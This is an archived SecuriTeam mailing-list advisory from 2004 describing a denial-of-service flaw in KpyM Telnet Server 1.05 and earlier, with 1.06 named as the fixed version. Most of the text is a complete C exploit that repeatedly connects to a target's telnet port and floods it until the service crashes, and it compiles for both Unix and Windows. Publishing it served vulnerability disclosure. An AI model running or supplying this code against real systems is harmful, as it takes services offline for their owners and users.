[NT] KpyM Telnet Server DoS

• Previous message: SecuriTeam: "[NEWS] QuikStore Shopping Cart Discloses Installation Path and Viewing and Executing Arbitrary Files"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 8 Jan 2004 11:24:32 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  KpyM Telnet Server DoS
------------------------------------------------------------------------

SUMMARY

 <http://kpym.sourceforge.net/> KpyM Telnet Server (KTS) is "a free telnet
server for WinNT. KTS runs as a service and provides access to the host
computer via the telnet protocol. Supports character graphics
(applications like edit.com) and colours and uses WinNT identification
mechanism". A vulnerability in the product allows remote attackers to
crash the server by connecting to it multiple times, not giving it
adequate time to free used sockets.

DETAILS

Vulnerable systems:
 * KpyM Telnet Server version 1.05 and prior

Immune systems:
 * KpyM Telnet Server version 1.06 and newer

Exploit:
/* By NoRpiuS
* UNIX & WIN VERSION
* USE -DWIN to compile on windows
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN
    #include <winsock.h>
    #define close closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif

#define PORT 23
#define BUFFSZ 10000

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    u_char *buff;
    struct sockaddr_in peer;
    int sd, err;
    u_short port = PORT;

    setbuf(stdout, NULL);

    fputs("\n"
        "KpyM Telnet Server v1.05 remote DoS\n"
        "by NoRpiUs\n"
        "e-mail: norpius@altervista.org\n"
        "web: http://norpius.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\nUso: %s <ip>\n\n",argv[0]);
        exit(1);
    }

#ifdef WIN
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    buff = malloc(BUFFSZ);
    if(!buff)
    {
          fputs("[-] Can't allocate buffer\n", stdout);
          exit(0);
    }
        

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0)
    {
          fputs("[-] Can't create socket\n", stdout);
          exit(0);
    }

    printf("\n[+] Connecting to %s:%hu...\n",
        inet_ntoa(peer.sin_addr), port);
    err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
    if(err < 0)
    {
          fputs("[-] Can't connect\n", stdout);
          exit(0);
    }

    err = recv(sd, buff, BUFFSZ, 0);
    if(err < 0)
    {
          fputs("[-] No response from the server", stdout);
          exit(0);
    }

    memset(buff, 0, BUFFSZ);

    fputs("[+] Waiting for the crash.. ", stdout);
   
    while(1)
    {
       err = send(sd, buff, BUFFSZ, 0);
       if(err < 0)
       {
          fputs("[-] Can't send\n", stdout);
          exit(0);
       }
       printf(".");
       close(sd);
       sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
       err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
       if ( err < 0 )
       {
           fputs("\n[+] Crashed\n\r", stdout);
           exit(0);
       }
    }
    
    close(sd);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE)
    {
        hp = gethostbyname(host);
        if(!hp)
        {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        }
    else host_ip = *(u_long *)(hp->h_addr);
    }
    return(host_ip);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:norpius@email.it> NoRpiUs.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[NEWS] QuikStore Shopping Cart Discloses Installation Path and Viewing and Executing Arbitrary Files"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]